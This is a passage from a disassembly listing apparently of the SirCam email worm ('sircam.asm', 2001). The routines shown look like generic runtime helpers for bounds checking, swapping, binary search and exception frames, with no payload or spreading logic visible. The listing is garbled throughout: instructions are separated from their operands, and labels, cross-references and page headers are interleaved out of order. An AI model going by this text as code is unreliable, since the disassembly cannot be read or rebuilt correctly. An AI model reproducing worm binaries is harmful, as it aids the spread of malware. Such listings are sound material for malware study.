; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D0C8
proc near
; CODE XREF: sub_40C6F0+F\030p
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
cmp
dword ptr [ebx+8], 0
jz
short loc_40D0DC
mov
eax, [ebx+8]
mov
edx, [eax]
call
dword ptr [edx+10h]
loc_40D0DC:
lea
mov
call
cmp
jz
mov
mov
mov
call
; CODE XREF: sub_40D0C8+A\030j
eax, [ebx+8]
edx, esi
sub_404BF0
dword ptr [ebx+8], 0
short loc_40D0F6
edx, ebx
eax, [ebx+8]
ecx, [eax]
dword ptr [ecx+0Ch]
loc_40D0F6:
; CODE XREF: sub_40D0C8+22\030j
pop
pop
retn
esi
ebx
sircam.asm
sub_40D0C8
Fri Aug 10 12:42:44 2001
361
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D0FC
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
mov
xor
push
push
push
mov
lea
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; DATA XREF: CODE:0040BB00\030o
; CODE:0040BC20\030o
ebp
ebp, esp
0
ebx
esi
esi, edx
ebx, eax
eax, eax
ebp
offset loc_40D13F
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
edx, esi
sub_403680
edx, [ebp+var_4]
eax, ebx
ecx, [eax]
dword ptr [ecx+2Ch]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D146
loc_40D136:
sub_40D0FC
; CODE XREF: CODE:0040D144\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D13F:
; DATA XREF: sub_40D0FC+E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D136
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D146:
; DATA XREF: sub_40D0FC+35\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D14C
proc near
; DATA XREF: CODE:0040BAC0\030o
; CODE:0040BBE0\030o
sircam.asm
var_8
var_4
Fri Aug 10 12:42:44 2001
362
= dword ptr -8
= dword ptr -4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF8h
push
ebx
xor
ecx, ecx
mov
[ebp+var_8], ecx
mov
ebx, edx
mov
[ebp+var_4], eax
xor
eax, eax
push
ebp
push
offset loc_40D200
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, [ebp+var_4]
call
sub_40C890
xor
edx, edx
push
ebp
push
offset loc_40D1E3
push
dword ptr fs:[edx]
mov
fs:[edx], esp
mov
eax, [ebp+var_4]
mov
edx, [eax]
call
dword ptr [edx+40h]
test
ebx, ebx
jz
short loc_40D1CD
jmp
short loc_40D1C8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D18F:
; CODE XREF: sub_40D14C+7F\031j
mov
eax, ebx
jmp
short loc_40D194
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D193:
; CODE XREF: sub_40D14C+56\031j
inc
ebx
mov
test
jz
sub
jz
sub
jnz
dl, [ebx]
dl, dl
short loc_40D1A4
dl, 0Ah
short loc_40D1A4
dl, 3
short loc_40D193
loc_40D194:
; CODE XREF: sub_40D14C+45\030j
loc_40D1A4:
; CODE XREF: sub_40D14C+4C\030j
; sub_40D14C+51\030j
mov
sub
lea
xchg
call
mov
mov
mov
call
cmp
jnz
inc
ecx, ebx
ecx, eax
edx, [ebp+var_8]
eax, edx
sub_4035B0
edx, [ebp+var_8]
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+34h]
byte ptr [ebx], 0Dh
short loc_40D1C2
ebx
cmp
jnz
inc
; CODE XREF: sub_40D14C+73\030j
byte ptr [ebx], 0Ah
short loc_40D1C8
ebx
loc_40D1C2:
loc_40D1C8:
; CODE XREF: sub_40D14C+41\030j
; sub_40D14C+79\030j
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jnz
byte ptr [ebx], 0
short loc_40D18F
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40D14C+3F\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D1EA
loc_40D1CD:
loc_40D1DA:
sub_40D14C
363
; CODE XREF: CODE:0040D1E8\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D1E3:
; DATA XREF: sub_40D14C+2A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D1DA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D1EA:
xor
pop
pop
pop
mov
push
; DATA XREF: sub_40D14C+89\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D207
loc_40D1F7:
; CODE XREF: CODE:0040D205\031j
lea
eax, [ebp-8]
call
sub_4034C8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D200:
; DATA XREF: sub_40D14C+14\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D1F7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D207:
; DATA XREF: CODE:0040D1F2\030o
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40D210
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
push
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
edi
; DATA XREF: sub_40C900+1A\030o
sircam.asm
Fri Aug 10 12:42:44 2001
xor
mov
mov
mov
xor
push
push
push
mov
mov
call
mov
mov
call
mov
dec
test
jl
inc
xor
ecx, ecx
[ebp+var_C], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40D286
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_8]
sub_40E2C0
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
ebx, eax
ebx
ebx, ebx
short loc_40D268
ebx
esi, esi
lea
mov
mov
mov
call
mov
mov
call
inc
dec
jnz
; CODE XREF: sub_40D210+56\031j
ecx, [ebp+var_C]
edx, esi
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
edx, [ebp+var_C]
eax, [ebp+var_8]
sub_40E2D0
esi
ebx
short loc_40D24C
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40D210+37\030j
eax, [ebp+var_8]
sub_40E2C8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40D28D
loc_40D24C:
loc_40D268:
loc_40D27D:
sub_40D210
364
; CODE XREF: CODE:0040D28B\031j
lea
eax, [ebp+var_C]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D286:
; DATA XREF: sub_40D210+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40D27D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D28D:
; DATA XREF: sub_40D210+68\030o
pop
pop
pop
mov
pop
retn
edi
esi
ebx
esp, ebp
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D294
proc near
; DATA XREF: CODE:0040BBB0\030o
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
call
mov
mov
xor
mov
mov
xor
mov
mov
mov
and
mov
call
mov
test
jz
mov
mov
mov
xchg
call
ebx
esi
sub_402D3C
ebx, edx
esi, eax
eax, eax
[esi+20h], eax
[esi+24h], eax
eax, eax
[esi+28h], eax
[esi+2Ch], eax
edx, ebx
dl, 0FCh
eax, esi
sub_40C6F0
eax, [esi+10h]
eax, eax
short loc_40D2D2
edx, [esi+0Ch]
ecx, eax
eax, ds:off_40BB44
eax, edx
sub_403BE8
xor
mov
xor
mov
mov
call
test
jle
mov
call
; CODE XREF: sub_40D294+2C\030j
eax, eax
[esi+10h], eax
edx, edx
eax, esi
ecx, [eax]
dword ptr [ecx+28h]
bl, bl
short loc_40D2EB
eax, esi
sub_402D2C
loc_40D2D2:
loc_40D2EB:
sub_40D294
365
; CODE XREF: sub_40D294+4E\030j
pop
pop
retn
endp
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D2F0
proc near
; DATA XREF: CODE:0040BBE8\030o
push
ebx
push
esi
push
edi
push
ecx
mov
esi, edx
mov
ebx, eax
cmp
byte ptr [ebx+18h], 0
jnz
short loc_40D306
mov
eax, [ebx+10h]
mov
[esp+0], eax
jmp
short loc_40D331
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D306:
mov
mov
mov
mov
call
test
jz
; CODE XREF: sub_40D2F0+C\030j
ecx, esp
edx, esi
eax, ebx
edi, [eax]
dword ptr [edi+78h]
al, al
short loc_40D331
sircam.asm
Fri Aug 10 12:42:44 2001
366
mov
al, [ebx+19h]
sub
al, 1
jb
short loc_40D33D
dec
al
jz
short loc_40D322
jmp
short loc_40D331
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D322:
mov
xor
mov
call
; CODE XREF: sub_40D2F0+2E\030j
edx, ds:off_41DB24
ecx, ecx
eax, ebx
sub_40CA44
loc_40D331:
; CODE XREF: sub_40D2F0+14\030j
; sub_40D2F0+23\030j ...
mov
mov
mov
call
ecx, esi
edx, [esp+0]
eax, ebx
sub_40D618
mov
pop
pop
pop
pop
retn
endp
eax, [esp+0]
edx
edi
esi
ebx
loc_40D33D:
sub_40D2F0
; CODE XREF: sub_40D2F0+2A\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D348
proc near
; DATA XREF: CODE:0040BC24\030o
push
ebx
cmp
dword ptr [eax+4], 0
jnz
short loc_40D360
cmp
word ptr [eax+22h], 0
jz
short loc_40D360
mov
ebx, eax
mov
edx, eax
mov
eax, [ebx+24h]
call
dword ptr [ebx+20h]
loc_40D360:
sub_40D348
; CODE XREF: sub_40D348+5\030j
; sub_40D348+C\030j
pop
retn
endp
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D364
proc near
; DATA XREF: CODE:0040BC28\030o
push
ebx
cmp
dword ptr [eax+4], 0
jnz
short loc_40D37C
cmp
word ptr [eax+2Ah], 0
jz
short loc_40D37C
mov
ebx, eax
mov
edx, eax
mov
eax, [ebx+2Ch]
call
dword ptr [ebx+28h]
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40D37C:
sub_40D364
367
; CODE XREF: sub_40D364+5\030j
; sub_40D364+C\030j
pop
retn
endp
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D380
proc near
; DATA XREF: CODE:0040BBF4\030o
push
ebx
mov
ebx, eax
cmp
dword ptr [ebx+10h], 0
jz
short loc_40D3B6
mov
eax, ebx
mov
edx, [eax]
call
dword ptr [edx+74h]
mov
eax, [ebx+0Ch]
mov
ecx, [ebx+10h]
mov
edx, ds:off_40BB44
call
sub_403BE8
xor
eax, eax
mov
[ebx+10h], eax
xor
edx, edx
mov
eax, ebx
mov
ecx, [eax]
call
dword ptr [ecx+28h]
mov
eax, ebx
mov
edx, [eax]
call
dword ptr [edx+70h]
loc_40D3B6:
sub_40D380
; CODE XREF: sub_40D380+7\030j
pop
retn
endp
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D3B8
proc near
; DATA XREF: CODE:0040BBF8\030o
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40D3C7
cmp
esi, [ebx+10h]
jl
short loc_40D3D6
loc_40D3C7:
mov
mov
mov
call
; CODE XREF: sub_40D3B8+8\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
mov
mov
call
mov
lea
mov
call
dec
mov
cmp
; CODE XREF: sub_40D3B8+D\030j
eax, ebx
edx, [eax]
dword ptr [edx+74h]
eax, [ebx+0Ch]
eax, [eax+esi*8]
edx, ds:off_40BB44
sub_403CD0
dword ptr [ebx+10h]
eax, [ebx+10h]
esi, eax
loc_40D3D6:
sircam.asm
Fri Aug 10 12:42:44 2001
jge
sub
mov
shl
mov
lea
mov
lea
call
loc_40D411:
sub_40D3B8
mov
mov
call
pop
pop
retn
endp
368
short loc_40D411
eax, esi
ecx, eax
ecx, 3
eax, [ebx+0Ch]
edx, [eax+esi*8]
eax, [ebx+0Ch]
eax, [eax+esi*8+8]
sub_4026B0
; CODE XREF: sub_40D3B8+3E\030j
eax, ebx
edx, [eax]
dword ptr [edx+70h]
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D41C
proc near
; DATA XREF: CODE:0040BBFC\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40D42E
cmp
esi, [ebx+10h]
jl
short loc_40D43D
loc_40D42E:
mov
mov
mov
call
; CODE XREF: sub_40D41C+B\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
test
jl
cmp
jl
edi, edi
short loc_40D446
edi, [ebx+10h]
short loc_40D455
mov
mov
mov
call
; CODE XREF: sub_40D41C+23\030j
edx, ds:off_41DC24
ecx, edi
eax, ebx
sub_40CA44
loc_40D43D:
; CODE XREF: sub_40D41C+10\030j
loc_40D446:
loc_40D455:
mov
mov
call
mov
mov
mov
call
mov
mov
call
pop
pop
pop
retn
; CODE XREF: sub_40D41C+28\030j
eax, ebx
edx, [eax]
dword ptr [edx+74h]
ecx, edi
edx, esi
eax, ebx
sub_40D474
eax, ebx
edx, [eax]
dword ptr [edx+70h]
edi
esi
ebx
sircam.asm
sub_40D41C
Fri Aug 10 12:42:44 2001
369
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D474
proc near
sub_40D474
push
mov
lea
mov
lea
mov
mov
mov
mov
mov
mov
mov
mov
pop
retn
endp
; CODE XREF: sub_40D41C+46\030p
; sub_40D714+51\031p
ebx
ebx, [eax+0Ch]
edx, [ebx+edx*8]
eax, [eax+0Ch]
eax, [eax+ecx*8]
ecx, [edx]
ebx, [eax]
[edx], ebx
[eax], ecx
ecx, [edx+4]
ebx, [eax+4]
[edx+4], ebx
[eax+4], ecx
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D498
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= byte ptr -4
push
push
push
push
add
mov
mov
mov
mov
xor
mov
dec
cmp
jl
; DATA XREF: CODE:0040BC2C\030o
ebx
esi
edi
ebp
esp, 0FFFFFFF4h
[esp+0Ch+var_8], ecx
[esp+0Ch+var_C], edx
ebp, eax
[esp+0Ch+var_4], 0
esi, esi
edi, [ebp+10h]
edi
edi, esi
short loc_40D4EB
loc_40D4B7:
; CODE XREF: sub_40D498+51\031j
lea
ebx, [edi+esi]
shr
ebx, 1
mov
eax, [ebp+0Ch]
mov
eax, [eax+ebx*8]
mov
edx, [esp+0Ch+var_C]
call
sub_406E64
test
eax, eax
jge
short loc_40D4D3
lea
esi, [ebx+1]
jmp
short loc_40D4E7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D4D3:
; CODE XREF: sub_40D498+34\030j
mov
dec
edi, ebx
edi
sircam.asm
Fri Aug 10 12:42:44 2001
test
jnz
mov
cmp
jz
mov
eax, eax
short loc_40D4E7
[esp+0Ch+var_4], 1
byte ptr [ebp+19h], 1
short loc_40D4E7
esi, ebx
loc_40D4E7:
; CODE XREF: sub_40D498+39\030j
; sub_40D498+40\030j ...
cmp
jge
loc_40D4EB:
sub_40D498
370
mov
mov
mov
add
pop
pop
pop
pop
retn
endp
edi, esi
short loc_40D4B7
; CODE XREF: sub_40D498+1D\030j
eax, [esp+0Ch+var_8]
[eax], esi
al, [esp+0Ch+var_4]
esp, 0Ch
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D500
proc near
; DATA XREF: CODE:0040BBC0\030o
push
ebx
push
esi
push
edi
mov
edi, ecx
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40D512
cmp
esi, [ebx+10h]
jl
short loc_40D521
loc_40D512:
mov
mov
mov
call
; CODE XREF: sub_40D500+B\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
loc_40D521:
sub_40D500
; CODE XREF: sub_40D500+10\030j
mov
mov
mov
call
pop
pop
pop
retn
endp
eax, edi
edx, [ebx+0Ch]
edx, [edx+esi*8]
sub_40351C
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40D534:
; DATA XREF: CODE:0040BBC4\030o
mov
eax, [eax+14h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40D538:
; DATA XREF: CODE:0040BBC8\030o
mov
retn
eax, [eax+10h]
sircam.asm
Fri Aug 10 12:42:44 2001
371
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D53C
proc near
; DATA XREF: CODE:0040BBCC\030o
push
ebx
push
esi
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40D54B
cmp
esi, [ebx+10h]
jl
short loc_40D55A
loc_40D54B:
mov
mov
mov
call
loc_40D55A:
sub_40D53C
mov
mov
pop
pop
retn
endp
; CODE XREF: sub_40D53C+8\030j
edx, ds:off_41DC24
ecx, esi
eax, ebx
sub_40CA44
; CODE XREF: sub_40D53C+D\030j
eax, [ebx+0Ch]
eax, [eax+esi*8+4]
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40D564
proc near
; CODE XREF: sub_40D618+1A\031p
push
esi
mov
edx, [eax+14h]
cmp
edx, 40h
jle
short loc_40D57B
mov
esi, edx
test
esi, esi
jns
short loc_40D576
add
esi, 3
loc_40D576:
; CODE XREF: sub_40D564+D\030j
sar
esi, 2
jmp
short loc_40D58C
